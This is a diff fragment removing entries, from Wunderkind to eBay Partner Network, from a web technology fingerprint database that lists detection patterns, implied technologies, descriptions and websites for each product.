- "content-security-policy": "\\.smarterhq\\.io" - }, - "description": "Wunderkind (Formerly BounceX) is a software for behavioural marketing technologies, created to de-anonymise site visitors, analyse their digital behaviour and create relevant digital experiences regardless of channel or device.", - "website": "https://www.wunderkind.co" - }, - "Wurfl": { - "js": [ - "wurfl" - ], - "description": "WURFL.js is JavaScript that detects device models of smartphones, tablets, smart TVs and game consoles accessing your website.", - "website": "https://web.wurfl.io/" - }, - "WysiBB": { - "implies": [ - "jQuery" - ], - "description": "WysiBB very simple and functional open-source WYSIWYG BBCode editor based on jQuery.", - "website": "http://wysibb.com" - }, - "X-Cart": { - "js": [ - "xcart_web_dir", - "xliteconfig" - ], - "meta": { - "generator": [ - "x-cart(?: (\\d+))?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": " X-Cart is an open source PHP shopping cart ecommerce software platform.", - "website": "https://kb.x-cart.com" - }, - "X.ai": { - "js": [ - "xdotaiaction", - "xdotaibutton" - ], - "description": "X.ai is a scheduling tool that organizes meeting times and improves lead conversion by adding embedded booking buttons to websites or within live chat applications.", - "website": "https://x.ai" - }, - "XAMPP": { - "html": [ - "\u003ctitle\u003exampp(?: version ([\\d\\.]+))?\u003c/title\u003e\\;version:\\1" - ], - "meta": { - "author": [ - "kai oswald seidler\\;confidence:10" - ] - }, - "implies": [ - "Apache HTTP Server", - "MySQL", - "PHP", - "Perl" - ], - "website": "http://www.apachefriends.org/en/xampp.html" - }, - "XGen Ai": { - "description": "XGen Ai is a cloud-based customer journey mapping tool that helps businesses manage product recommendations via artificial intelligence (AI).", - "website": "https://xgen.ai" - }, - "XMB": { - "html": [ - "\u003c!-- powered by xmb" - ], - "website": "http://www.xmbforum.com" - }, - "XOOPS": { - "js": [ - "xoops" - ], - "meta": { - "generator": [ - "xoops" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://xoops.org" - }, - "XRegExp": { - "js": [ - "xregexp.version" - ], - "website": "http://xregexp.com" - }, - "XSLT": { - "html": [ - "\u003cxsl[^\u003e]* version=\"(.+)\"\\;version:\\1" - ], - "description": "XSLT is designed for use as part of XSL, which is a stylesheet language for XML.", - "website": "https://www.w3.org/TR/xslt-10" - }, - "XWiki": { - "html": [ - "\u003chtml[^\u003e]data-xwiki-[^\u003e]\u003e" - ], - "meta": { - "wiki": [ - "xwiki" - ] - }, - "implies": [ - "Java\\;confidence:99" - ], - "description": "XWiki is a free wiki software platform written in Java.", - "website": "http://www.xwiki.org" - }, - "Xajax": { - "website": "http://xajax-project.org" - }, - "Xanario": { - "meta": { - "generator": [ - "xanario shopsoftware" - ] - }, - "website": "http://xanario.de" - }, - "XenForo": { - "cookies": { - "xf_csrf": "", - "xf_session": "" - }, - "js": [ - "xf.guestusername" - ], - "html": [ - "(?:jquery\\.extend\\(true, xenforo|\u003ca[^\u003e]+\u003eforum software by xenforo™|\u003c!--xf:branding|\u003chtml[^\u003e]+id=\"xenforo\")", - "\u003chtml id=\"xf\" " - ], - "implies": [ - "PHP", - "MySQL" - ], - "description": "XenForo is a PHP-based forum hosting program for communities that is designed to be deployed on a remote web server.", - "website": "http://xenforo.com" - }, - "Xeora": { - "headers": { - "server": "xeoraengine", - "x-powered-by": "xeoracube" - }, - "html": [ - "\u003cinput type=\"hidden\" name=\"_sys_bind_\\d+\" id=\"_sys_bind_\\d+\" /\u003e" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "website": "http://www.xeora.org" - }, - "Xitami": { - "headers": { - "server": "xitami(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://xitami.com" - }, - "Xonic": { - "html": [ - "powered by \u003ca href=\"http://www\\.xonic-solutions\\.de/index\\.php\" target=\"_blank\"\u003exonic-solutions shopsoftware\u003c/a\u003e" - ], - "meta": { - "keywords": [ - "xonic-solutions" - ] - }, - "website": "http://www.xonic-solutions.de" - }, - "XpressEngine": { - "meta": { - "generator": [ - "xpressengine" - ] - }, - "website": "http://www.xpressengine.com/" - }, - "Xpresslane": { - "description": "Xpresslane is a checkout platform for ecommerce that focuses on increasing conversion during the checkout process.", - "website": "https://www.xpresslane.in" - }, - "Xretail": { - "meta": { - "author": [ - "^xretail team$" - ] - }, - "description": "Xretail is a subscription based product that enables the omni-channel ecommerce approach to its customers.", - "website": "https://xretail.com" - }, - "Xserver": { - "description": "Xserver engages in web hosting, web application and internet-related services.", - "website": "https://www.xserver.ne.jp" - }, - "Xtra": { - "description": "Xtra is a creative, responsive, live drag and drop and easy-to-use WordPress theme for any kind of websites.", - "website": "https://xtratheme.com" - }, - "Xtremepush": { - "js": [ - "xtremepush" - ], - "description": "Xtremepush is a customer engagement, personalisation and data platform. It's purpose-built for multichannel and mobile marketing.", - "website": "https://xtremepush.com" - }, - "YMQ Product Options Variant Option": { - "js": [ - "ymq_option.v" - ], - "implies": [ - "Shopify" - ], - "description": "YMQ Product Options Variant Option help add an unlimited number of product options to your items so you're not restricted by Shopify's limit of 3 options and 100 variants.", - "website": "https://apps.shopify.com/ymq-options" - }, - "YNAP Ecommerce": { - "js": [ - "ytos", - "ycookieapiurl" - ], - "description": "YNAP provides a suite of B2B luxury services including online and mobile store development, omnichannel logistics, customer care, digital marketing, data-driven merchandising and global strategy development.", - "website": "https://www.ynap.com/pages/about-us/what-we-do/monobrand/" - }, - "YUI": { - "js": [ - "yui.version", - "yahoo.version" - ], - "description": "YUI is a JavaScript and CSS library with more than 30 unique components including low-level DOM utilities and high-level user-interface widgets.", - "website": "https://clarle.github.io/yui3" - }, - "YUI Doc": { - "html": [ - "(?:\u003chtml[^\u003e]* yuilibrary\\.com/rdf/[\\d.]+/yui\\.rdf|\u003cbody[^\u003e]+class=\"yui3-skin-sam)" - ], - "description": "UIDoc is a Node.js application used at build time to generate API documentation.", - "website": "http://developer.yahoo.com/yui/yuidoc" - }, - "YaBB": { - "html": [ - "powered by \u003ca href=\"[^\u003e]+yabbforum" - ], - "website": "http://www.yabbforum.com" - }, - "Yahoo Advertising": { - "js": [ - "yahoocvload", - "yahoo_retargeting_pv_id", - "yahoo_ydn_conv_label", - "yahoo_ydn_conv_transaction_id", - "adxinserthtml" - ], - "description": "Yahoo Advertising includes a comprehensive suite of web, mobile, and video ad products across native, audience, and premium display, which are accessible through a new buying platform.", - "website": "https://www.adtech.yahooinc.com" - }, - "Yahoo! Ecommerce": { - "js": [ - "ystore" - ], - "headers": { - "x-xrds-location": "/ystore/" - }, - "html": [ - "\u003clink[^\u003e]+store\\.yahoo\\.net" - ], - "website": "http://smallbusiness.yahoo.com/ecommerce" - }, - "Yahoo! Tag Manager": { - "html": [ - "\u003c!-- (?:end )?yahoo! tag manager --\u003e" - ], - "website": "https://tagmanager.yahoo.co.jp/" - }, - "Yahoo! Web Analytics": { - "js": [ - "ywa" - ], - "website": "http://web.analytics.yahoo.com" - }, - "YalinHost": { - "description": "YalinHost is a web hosting service provider.", - "website": "https://yalinhost.com" - }, - "Yampi Checkout": { - "js": [ - "yampicheckouturl" - ], - "description": "Yampi Checkout is an payment processor from Brazil.", - "website": "https://www.yampi.com.br/checkout" - }, - "Yampi Virtual store": { - "js": [ - "yampi.api_domain", - "yampi.cart_token" - ], - "implies": [ - "Yampi Checkout" - ], - "description": "Yampi Virtual store is an ecommerce platform from Brazil.", - "website": "https://www.yampi.com.br/loja-virtual" - }, - "Yandex SmartCaptcha": { - "headers": { - "x-yandex-captcha": "" - }, - "description": "Yandex SmartCaptcha is a service for verifying queries to identify user requests and block bots.", - "website": "https://cloud.yandex.com/en/services/smartcaptcha" - }, - "Yandex.Cloud": { - "description": "Yandex.Cloud is a public cloud platform where companies can create and develop projects using Yandex's scalable computing power, advanced technologies, and infrastructure.", - "website": "https://cloud.yandex.com/en/" - }, - "Yandex.Cloud CDN": { - "implies": [ - "Yandex.Cloud" - ], - "description": "Yandex.Cloud CDN helps you streamline static content delivery for your web service.", - "website": "https://cloud.yandex.com/en/services/cdn" - }, - "Yandex.Direct": { - "js": [ - "yandex_ad_format", - "yandex_partner_id" - ], - "html": [ - "\u003cyatag class=\"ya-partner__ads\"\u003e" - ], - "description": "Yandex Direct is the platform designed for sponsored ad management.", - "website": "http://partner.yandex.com" - }, - "Yandex.Messenger": { - "js": [ - "yandexchatwidget" - ], - "description": "Yandex.Messenger is an instant messaging application.", - "website": "https://dialogs.yandex.ru" - }, - "Yandex.Metrika": { - "js": [ - "yandex_metrika" - ], - "description": "Yandex.Metrica is a free web analytics service that tracks and reports website traffic.", - "website": "http://metrika.yandex.com" - }, - "Yapla": { - "js": [ - "yaplaconsent.cookiename" - ], - "meta": { - "generator": [ - "^yapla\\sv([\\d\\.]+)\\;version:\\1" - ] - }, - "description": "Yapla is a web-based software platform that provides event management and fundraising solutions for non-profit organisations, associations, and event planners.", - "website": "https://www.yapla.com" - }, - "Yaws": { - "headers": { - "server": "yaws(?: ([\\d.]+))?\\;version:\\1" - }, - "description": "Yaws (Yet Another Web Server) is an open-source web server designed to deliver dynamic content efficiently. It was developed by Claes (klacke) Wikström and is written in Erlang, a functional programming language.", - "website": "https://github.com/erlyaws/yaws" - }, - "Ycode": { - "description": "Ycode is a no-code development platform that allows users to create web and mobile applications without any coding skills.", - "website": "https://www.ycode.com" - }, - "Yektanet": { - "js": [ - "yektanet" - ], - "meta": { - "yektanet_session_last_activity": [] - }, - "description": "Yektanet is the biggest and most advanced native advertising network in Iran.", - "website": "https://www.yektanet.com" - }, - "Yelp Reservations": { - "description": "Yelp Reservations is a cloud-based restaurant management system.", - "website": "http://yelp.com" - }, - "Yelp Review Badge": { - "description": "Yelp Review Badges showcase business reviews from Yelp on websites.", - "website": "http://yelp.com" - }, - "Yepcomm": { - "meta": { - "author": [ - "yepcomm tecnologia" - ], - "copyright": [ - "yepcomm tecnologia" - ] - }, - "website": "https://www.yepcomm.com.br" - }, - "Yett": { - "js": [ - "yett_blacklist" - ], - "description": "Yett is a small webpage library to control the execution of (third party) scripts like analytics.", - "website": "https://github.com/elbywan/yett" - }, - "Yext": { - "js": [ - "answers._analyticsreporterservice._baseurl" - ], - "description": "Yext is a hosted search-as-a-service platform.", - "website": "https://www.yext.com" - }, - "Yieldify": { - "js": [ - "_yieldify" - ], - "description": "Yieldify is a customer journey optimisation platform that brings personalisation to the full customer journey.", - "website": "https://www.yieldify.com" - }, - "Yieldlab": { - "website": "http://yieldlab.de" - }, - "Yii": { - "cookies": { - "yii_csrf_token": "" - }, - "html": [ - "powered by \u003ca href=\"http://www\\.yiiframework\\.com/\" rel=\"external\"\u003eyii framework\u003c/a\u003e", - "\u003cinput type=\"hidden\" value=\"[a-za-z0-9]{40}\" name=\"yii_csrf_token\" \\/\u003e", - "\u003c!\\[cdata\\[yii-block-(?:head|body-begin|body-end)\\]" - ], - "implies": [ - "PHP" - ], - "description": "Yii is an open-source, object-oriented, component-based MVC PHP web application framework.", - "website": "https://www.yiiframework.com" - }, - "Yoast Duplicate Post": { - "description": "Yoast Duplicate Post is a WordPress plugin which allows users to clone posts of any type, or copy them to new drafts for further editing.", - "website": "https://wordpress.org/plugins/duplicate-post" - }, - "Yoast SEO": { - "html": [ - "\u003c!-- this site is optimized with the yoast (?:wordpress )?seo plugin v([^\\s]+) -\\;version:\\1", - "\u003c!-- this site is optimized with the yoast seo premium plugin v(?:[^\\s]+) \\(yoast seo v([^\\s]+)\\) -\\;version:\\1" - ], - "implies": [ - "WordPress" - ], - "description": "Yoast SEO is a search engine optimisation plugin for WordPress and other platforms.", - "website": "https://yoast.com/wordpress/plugins/seo/" - }, - "Yoast SEO Premium": { - "html": [ - "\u003c!-- this site is optimized with the yoast seo premium plugin v([^\\s]+) \\;version:\\1" - ], - "description": "Yoast SEO Premium is a search engine optimisation plugin for WordPress and other platforms.", - "website": "https://yoast.com/wordpress/plugins/seo/" - }, - "Yoast SEO for Shopify": { - "html": [ - "\u003c!-- this site is optimized with yoast seo for shopify --\u003e" - ], - "implies": [ - "Shopify" - ], - "description": "Yoast SEO for Shopify optimizes Shopify shops.", - "website": "https://yoast.com/shopify/apps/yoast-seo/" - }, - "Yodel": { - "description": "Yodel is a delivery company for B2B and B2C orders in the United Kingdom.", - "website": "https://www.yodel.co.uk/" - }, - "Yola": { - "description": "Yola is a website builder and website hosting company headquartered in San Francisco.", - "website": "https://www.yola.com" - }, - "YooMoney": { - "headers": { - "content-security-policy": "\\.yoomoney\\.ru" - }, - "description": "YooMoney is an IT company working with electronic payments on the Internet, creating and supporting financial services for individuals and businesses.", - "website": "https://yoomoney.ru" - }, - "Yoori": { - "implies": [ - "Laravel", - "PHP", - "Vue.js", - "PWA", - "MySQL", - "cPanel" - ], - "description": "Yoori is a multi-vendor PWA ecommerce CMS.", - "website": "https://spagreen.net/yoori-ecommerce-solution" - }, - "Yotpo Loyalty \u0026 Referrals": { - "js": [ - "swellconfig", - "swellapi" - ], - "description": "Yotpo is a user-generated content marketing platform.", - "website": "https://www.yotpo.com/platform/loyalty/" - }, - "Yotpo Reviews": { - "js": [ - "yotpo" - ], - "description": "Yotpo is a user-generated content marketing platform.", - "website": "https://www.yotpo.com/platform/reviews/" - }, - "Yotpo SMSBump": { - "js": [ - "smsbumpform" - ], - "description": "SMS Bump is a SMS marketing and automations app which was acquired by Yotpo.", - "website": "https://www.yotpo.com/platform/smsbump-sms-marketing/" - }, - "Yottaa": { - "meta": { - "x-yottaa-metrics": [], - "x-yottaa-optimizations": [] - }, - "description": "Yottaa is an ecommerce optimisation platform that helps with conversions, performance and security.", - "website": "https://www.yottaa.com" - }, - "YouCam Makeup": { - "js": [ - "ymk.applymakeupbylook", - "ymk.caldeltae" - ], - "description": "YouCam Makeup is a cross-platform virtual makeup solution for omnichannel ecommerce.", - "website": "https://www.perfectcorp.com/business/products/virtual-makeup" - }, - "YouCan": { - "js": [ - "ycpay" - ], - "headers": { - "x-powered-by": "youcan\\.private\\.dc/" - }, - "implies": [ - "PHP", - "MySQL", - "Redis", - "Laravel" - ], - "description": "YouCan is an integrated platform specialised in ecommerce, offering a wide range of services needed by merchants and entrepreneurs.", - "website": "https://youcan.shop" - }, - "YouPay": { - "js": [ - "youpaystatus", - "youpay.buttonwindow", - "youpayready" - ], - "implies": [ - "Shopify" - ], - "description": "YouPay is an alternative method of payment that allows you to give someone else the ability to pay for your shopping cart with no fees or interest.", - "website": "https://youpay.co" - }, - "YouTrack": { - "html": [ - "no-title=\"youtrack\"\u003e", - "data-reactid=\"[^\"]+\"\u003eyoutrack ([0-9.]+)\u003c\\;version:\\1", - "type=\"application/opensearchdescription\\+xml\" title=\"youtrack\"/\u003e" - ], - "description": "YouTrack is a browser-based bug tracker, issue tracking system and project management software.", - "website": "http://www.jetbrains.com/youtrack/" - }, - "YouTube": { - "html": [ - "\u003c(?:param|embed|iframe)[^\u003e]+youtube(?:-nocookie)?\\.com/(?:v|embed)" - ], - "description": "YouTube is a video sharing service where users can create their own profile, upload videos, watch, like and comment on other videos.", - "website": "http://www.youtube.com" - }, - "YunoHost": { - "implies": [ - "Debian" - ], - "description": "YunoHost is a server operating system that is free and open-source, allowing users to host their own web applications, email services, and other online tools. It is based on Debian GNU/Linux.", - "website": "https://yunohost.org" - }, - "ZK": { - "html": [ - "\u003c!-- zk [.\\d\\s]+--\u003e" - ], - "implies": [ - "Java" - ], - "website": "http://zkoss.org" - }, - "ZURB Foundation": { - "js": [ - "foundation.version" - ], - "html": [ - "\u003clink[^\u003e]+foundation[^\u003e\"]+css", - "\u003cdiv [^\u003e]*class=\"[^\"]*(?:small|medium|large)-\\d{1,2} columns" - ], - "description": "Zurb Foundation is used to prototype in the browser. Allows rapid creation of websites or applications while leveraging mobile and responsive technology. The front end framework is the collection of HTML, CSS, and Javascript containing design patterns.", - "website": "http://foundation.zurb.com" - }, - "Zabbix": { - "js": [ - "zbxcallpostscripts" - ], - "html": [ - "\u003cbody[^\u003e]+zbxcallpostscripts" - ], - "meta": { - "author": [ - "zabbix sia\\;confidence:70" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://zabbix.com" - }, - "Zakeke": { - "js": [ - "zakekeboot", - "zakekecustomizelabel", - "zakekeloading", - "zakekeproductpage" - ], - "description": "Zakeke is a product customisation tool compatible with services and apps mostly used to manage ecommerce store.", - "website": "https://www.zakeke.com" - }, - "Zakeke Interactive Product Designer": { - "implies": [ - "Zakeke" - ], - "description": "Zakeke Interactive Product Designer lets customers personalise any product and visualise how they’ll look before checking out.", - "website": "https://www.zakeke.com" - }, - "Zakeke Visual Customizer": { - "implies": [ - "Zakeke" - ], - "description": "Zakeke Visual Customizer is a cloud-connected visual ecommerce tool that allows brands and retailers to offer live, personalised, 2D, 3D, and augmented reality (AR) functionality for their products.", - "website": "https://www.zakeke.com" - }, - "Zakra": { - "js": [ - "zakranavhelper.dimension", - "zakrafrontend" - ], - "description": "Zakra is flexible, fast, lightweight and modern multipurpose WordPress theme that comes with many starter free sites.", - "website": "https://zakratheme.com" - }, - "Zanox": { - "js": [ - "zanox" - ], - "html": [ - "\u003cimg [^\u003e]*src=\"[^\"]+ad\\.zanox\\.com" - ], - "website": "http://zanox.com" - }, - "Zeald": { - "cookies": { - "zes_backend": "zeald" - }, - "description": "Zeald is a full-service website design and digital marketing company.", - "website": "https://www.zeald.com" - }, - "Zeleris": { - "description": "Zeleris provides door to door shipment delivery to Ireland, UK and the EU.", - "website": "https://www.zeleris.com" - }, - "Zen Cart": { - "meta": { - "generator": [ - "zen cart" - ] - }, - "website": "http://www.zen-cart.com" - }, - "Zend": { - "cookies": { - "zendserversessid": "" - }, - "headers": { - "x-powered-by": "zend(?:server)?(?:[\\s/]?([0-9.]+))?\\;version:\\1" - }, - "website": "http://zend.com" - }, - "Zendesk": { - "cookies": { - "_help_center_session": "", - "_zendesk_cookie": "", - "_zendesk_shared_session": "" - }, - "js": [ - "zendesk" - ], - "headers": { - "x-zendesk-user-id": "" - }, - "description": "Zendesk is a cloud-based help desk management solution offering customizable tools to build customer service portal, knowledge base and online communities.", - "website": "https://zendesk.com" - }, - "Zendesk Chat": { - "description": "Zendesk Chat is a live chat and communication widget.", - "website": "http://zopim.com" - }, - "Zendesk Sunshine Conversations": { - "implies": [ - "Zendesk" - ], - "description": "Zendesk Sunshine Conversations lets you share a single, continuous conversation with every team in your business. With a unified API and native connectors to popular business applications like Zendesk and Slack, everyone in your organization can get access to a single view of the customer conversation.", - "website": "https://www.zendesk.com/platform/conversations" - }, - "Zenfolio": { - "js": [ - "zenfolio" - ], - "description": "Zenfolio is a photography website builder.", - "website": "https://zenfolio.com" - }, - "Zeotap": { - "description": "Zeotap is a customer intelligence platform that helps brands better understand their customers and predict behaviors.", - "website": "https://zeotap.com" - }, - "Zepto": { - "js": [ - "zepto" - ], - "website": "http://zeptojs.com" - }, - "ZestMoney": { - "js": [ - "zestmoneywidget", - "zestbind", - "zestmerchant" - ], - "description": "ZestMoney is a fintech company that uses digital EMI without the need for a credit card or a credit score.", - "website": "https://www.zestmoney.in" - }, - "Zeus Technology": { - "js": [ - "zeus.version", - "zeusadunitpath" - ], - "description": "Zeus Technology is a media monetisation platform that levels the playing field for publishers and advertisers of all sizes.", - "website": "https://www.zeustechnology.com" - }, - "Zid": { - "cookies": { - "zid_catalog_session": "" - }, - "js": [ - "zid.store", - "zidtracking.sendgaproductremovefromcartevent" - ], - "description": "Zid is an ecommerce SaaS that allows merchants to build and manage their online stores.", - "website": "https://zid.sa" - }, - "Ziggy": { - "js": [ - "ziggy" - ], - "implies": [ - "Laravel", - "Inertia.js" - ], - "description": "Ziggy is a library that allows using Laravel named routes in JavaScript.", - "website": "https://github.com/tighten/ziggy" - }, - "Zimbra": { - "cookies": { - "zm_test": "true" - }, - "implies": [ - "Java" - ], - "website": "https://www.zimbra.com/" - }, - "ZingChart": { - "js": [ - "zingchart" - ], - "description": "ZingChart is a open-source and free JavaScript library for building interactive and intuitive charts.", - "website": "https://www.zingchart.com" - }, - "Zinnia": { - "meta": { - "generator": [ - "zinnia" - ] - }, - "implies": [ - "Django" - ], - "description": "Zimbra is a is a collaborative software suite that includes an email server and a web client.", - "website": "http://django-blog-zinnia.com" - }, - "Zinrelo": { - "js": [ - "zrl_mi" - ], - "description": "Zinrelo is an enterprise-grade, loyalty rewards platform.", - "website": "https://www.zinrelo.com" - }, - "Zip": { - "js": [ - "quadpayshopify", - "checkout.enabledpayments.zip", - "quadpayid" - ], - "description": "Zip is a payment service that lets you receive your purchase now and spread the total cost over a interest-free payment schedule.", - "website": "https://www.zip.co/" - }, - "Zipify OCU": { - "description": "Zipify OCU allows you to add upsells and cross-sells to your checkout sequence.", - "website": "https://zipify.com/apps/ocu/" - }, - "Zipify Pages": { - "js": [ - "zipifypages" - ], - "implies": [ - "Shopify" - ], - "description": "Zipify Pages the first landing page builder uniquely designed for ecommerce.", - "website": "https://zipify.com/apps/pages/" - }, - "Zipkin": { - "headers": { - "x-b3-flags": "", - "x-b3-parentspanid": "", - "x-b3-sampled": "", - "x-b3-spanid": "", - "x-b3-traceid": "" - }, - "website": "https://zipkin.io/" - }, - "Zmags Creator": { - "js": [ - "__zmags" - ], - "description": "Zmags Creator enables marketers to design and publish endless types of interactive digital experiences without coding.", - "website": "https://www.creatorbyzmags.com" - }, - "Zocdoc": { - "description": "Zocdoc is a New York City-based company offering an online service that allows people to find and book in-person or telemedicine appointments for medical or dental care.", - "website": "https://www.zocdoc.com" - }, - "Zoey": { - "js": [ - "zoey.module", - "zoey.developer", - "zoeydev" - ], - "implies": [ - "PHP", - "MySQL" - ], - "description": "Zoey is a cloud-based ecommerce platform for B2B and wholesale businesses.", - "website": "https://www.zoey.com/" - }, - "Zoho": { - "description": "Zoho is a web-based online office suite.", - "website": "https://www.zoho.com/" - }, - "Zoho Mail": { - "implies": [ - "Zoho" - ], - "description": "Zoho Mail is an email hosting service for businesses.", - "website": "https://www.zoho.com/mail/" - }, - "Zoho PageSense": { - "js": [ - "$pagesense", - "pagesense" - ], - "implies": [ - "Zoho" - ], - "description": "Zoho PageSense is a conversion optimisation platform which combines the power of web analytics, A/B testing, and personalisation.", - "website": "https://www.zoho.com/pagesense/" - }, - "Zoko": { - "js": [ - "__zoko_app_version" - ], - "implies": [ - "WhatsApp Business Chat" - ], - "description": "Zoko is an all-in-one system that leverages the WhatsApp API to help you do business, on WhatsApp", - "website": "https://www.zoko.io/" - }, - "Zone.js": { - "js": [ - "zone.root" - ], - "implies": [ - "Angular" - ], - "website": "https://github.com/angular/angular/tree/master/packages/zone.js" - }, - "Zonos": { - "js": [ - "zonos", - "zonos", - "zonoscheckout" - ], - "description": "Zonos is a cross-border ecommerce software and app solution for companies with international business.", - "website": "https://zonos.com" - }, - "ZoodPay": { - "website": "https://www.zoodpay.com" - }, - "Zoominfo": { - "description": "ZoomInfo provides actionable B2B contact and company information for sales and marketing teams.", - "website": "https://www.zoominfo.com/" - }, - "Zoominfo Chat": { - "description": "ZoomInfo chat is a live chat solution.", - "website": "https://www.zoominfo.com/chat" - }, - "Zope": { - "headers": { - "server": "^zope/" - }, - "website": "http://zope.org" - }, - "Zotabox": { - "js": [ - "zotabox", - "zotabox_init" - ], - "description": "Zotabox is marketing tool which includes popups, header bars, page/form builder, testimonial, live chat, etc.", - "website": "https://info.zotabox.com" - }, - "Zozo": { - "meta": { - "generator": [ - "zozo ecommerce" - ] - }, - "implies": [ - "PHP", - "MySQL" - ], - "description": "Zozo is a multi-channel ecommerce services provider from Vietnam.", - "website": "https://zozo.vn" - }, - "Zuppler": { - "description": "Zuppler is a complete and branded online ordering solution for restaurants and caterers with multi-locations.", - "website": "https://www.zuppler.com" - }, - "_hyperscript ": { - "js": [ - "_hyperscript" - ], - "description": "_​hyperscript is a scripting language for adding interactivity to the front-end.", - "website": "https://hyperscript.org" - }, - "a-blog cms": { - "meta": { - "generator": [ - "a-blog cms" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://www.a-blogcms.jp" - }, - "a3 Lazy Load": { - "js": [ - "a3_lazyload_extend_params", - "a3_lazyload_params" - ], - "description": "a3 Lazy Load is a mobile oriented, very simple to use plugin that will speed up sites page load speed.", - "website": "https://a3rev.com/shop/a3-lazy-load/" - }, - "aThemes Airi": { - "description": "aThemes Airi is a powerful yet lightweight and flexible WordPress theme for organization or freelancer.", - "website": "https://athemes.com/theme/airi" - }, - "aThemes Astrid": { - "description": "aThemes Astrid is a powerful yet lightweight and flexible WordPress theme.", - "website": "https://athemes.com/theme/astrid" - }, - "aThemes Hiero": { - "description": "aThemes Hiero is an awesome magazine theme for your WordPress site feature bold colors and details to the content.", - "website": "https://athemes.com/theme/hiero" - }, - "aThemes Moesia": { - "description": "aThemes Moesia is the business theme you need in order to build your presence on the Internet.", - "website": "https://athemes.com/theme/moesia" - }, - "aThemes Sydney": { - "description": "aThemes Sydney is a powerful business WordPress theme that provides a fast way for companies or freelancers to create an online presence.", - "website": "https://athemes.com/theme/sydney" - }, - "actionhero.js": { - "js": [ - "actionheroclient" - ], - "headers": { - "x-powered-by": "actionhero api" - }, - "implies": [ - "Node.js" - ], - "website": "http://www.actionherojs.com" - }, - "amCharts": { - "js": [ - "amcharts" - ], - "html": [ - "\u003csvg[^\u003e]*\u003e\u003cdesc\u003ejavascript chart by amcharts ([\\d.]*)\\;version:\\1" - ], - "description": "amCharts is a JavaScript-based interactive charts and maps programming library and tool.", - "website": "http://amcharts.com" - }, - "amoCRM": { - "js": [ - "amocrm", - "amo_pixel_client", - "amoformswidget", - "amosocialbutton" - ], - "description": "amoCRM is a web-based customer relationship management software solution.", - "website": "https://www.amocrm.com" - }, - "anime.js": { - "js": [ - "anime.version" - ], - "description": "Anime.js (/ˈæn.ə.meɪ/) is a lightweight JavaScript animation library with a simple, yet powerful API.It works with CSS properties, SVG, DOM attributes and JavaScript Objects.", - "website": "https://animejs.com/" - }, - "augmented-ui": { - "description": "augmented-ui is a UI framework inspired by cyberpunk and sci-fi.", - "website": "http://augmented-ui.com" - }, - "autoComplete.js": { - "description": "autoComplete.js is a simple, pure vanilla Javascript library.", - "website": "https://tarekraafat.github.io/autoComplete.js" - }, - "bSecure": { - "js": [ - "bsecure_js_object" - ], - "description": "bSecure is a one-click checkout solution for selling your products all across the globe instantly.", - "website": "https://www.bsecure.pk" - }, - "basket.js": { - "js": [ - "basket.isvaliditem" - ], - "website": "https://addyosmani.github.io/basket.js/" - }, - "bdok": { - "meta": { - "bdok": [] - }, - "description": "bdok is a cloud-based platform which provides the capability to create and manage online stores with no technical knowledge.", - "website": "https://bdok.ir" - }, - "cPanel": { - "cookies": { - "cprelogin": "", - "cpsession": "" - }, - "headers": { - "server": "cpsrvd/([\\d.]+)\\;version:\\1" - }, - "html": [ - "\u003c!-- cpanel" - ], - "description": "cPanel is a web hosting control panel. The software provides a graphical interface and automation tools designed to simplify the process of hosting a website.", - "website": "http://www.cpanel.net" - }, - "cState": { - "meta": { - "generator": [ - "cstate v([\\d\\.]+)\\;version:\\1" - ] - }, - "description": "cState is an open-source static (serverless) status page.", - "website": "https://github.com/cstate/cstate" - }, - "cdnjs": { - "implies": [ - "Cloudflare" - ], - "description": "cdnjs is a free distributed JS library delivery service.", - "website": "https://cdnjs.com" - }, - "cgit": { - "meta": { - "generator": [ - "^cgit v([\\d.a-z-]+)$\\;version:\\1" - ] - }, - "implies": [ - "git", - "C" - ], - "description": "cgit is a web interface (cgi) for Git repositories, written in C. licensed under GPLv2.", - "website": "http://git.zx2c4.com/cgit" - }, - "clickio": { - "description": "Clickio Consent Tool collects and communicates consent both to IAB Framework vendors and to Google Ads products.", - "website": "http://www.gdpr.clickio.com/" - }, - "comScore": { - "js": [ - "comscore", - "_comscore" - ], - "description": "comScore is an American media measurement and analytics company providing marketing data and analytics to enterprises; media and advertising agencies; and publishers.", - "website": "http://comscore.com" - }, - "commercetools": { - "js": [ - "commerce_tools_host_att", - "commerce_tools_project_key_att" - ], - "description": "commercetools is a headless commerce platform.", - "website": "https://commercetools.com" - }, - "core-js": { - "js": [ - "__core-js_shared__", - "__core-js_shared__.versions.0.version", - "_babelpolyfill", - "core", - "core.version" - ], - "description": "core-js is a modular standard library for JavaScript, with polyfills for cutting-edge ECMAScript features.", - "website": "https://github.com/zloirock/core-js" - }, - "crypto-js": { - "js": [ - "cryptojs.rabbit", - "cryptojs.algo" - ], - "description": "crypto-js is a JavaScript library of crypto standards.", - "website": "https://github.com/brix/crypto-js" - }, - "daisyUI": { - "implies": [ - "Tailwind CSS" - ], - "description": "daisyUI is a customisable Tailwind CSS component library that prevents verbose markup in frontend applications. With a focus on customising and creating themes for user interfaces, daisyUI uses pure CSS and Tailwind utility classes, allowing developers to write clean HTML.", - "website": "https://daisyui.com" - }, - "db-ip": { - "js": [ - "env.dbip" - ], - "description": "dbip is a geolocation API and database.", - "website": "https://db-ip.com/" - }, - "decimal.js": { - "js": [ - "decimal.round_half_floor" - ], - "website": "https://mikemcl.github.io/decimal.js/" - }, - "deepMiner": { - "js": [ - "deepminer" - ], - "website": "https://github.com/deepwn/deepMiner" - }, - "e-Shop Commerce": { - "description": "e-Shop is a all-in-one Software-as-a-Service (SaaS) that allows Israeli customers to set up an online store and sell their products.", - "website": "https://www.e-shop.co.il" - }, - "e-goi": { - "js": [ - "egoimmerce", - "_egoiaq" - ], - "description": "e-goi is a multichannel marketing automation software for ecommerce.", - "website": "https://www.e-goi.com" - }, - "e107": { - "cookies": { - "e107_tz": "" - }, - "headers": { - "x-powered-by": "e107" - }, - "implies": [ - "PHP" - ], - "website": "http://e107.org" - }, - "eBay Partner Network": { - "description": "eBay Partner Network is an online referral program where eBay pays commissions to referrers on sales generated by customers they’ve referred.", - "website": "https://partnernetwork.ebay.com" 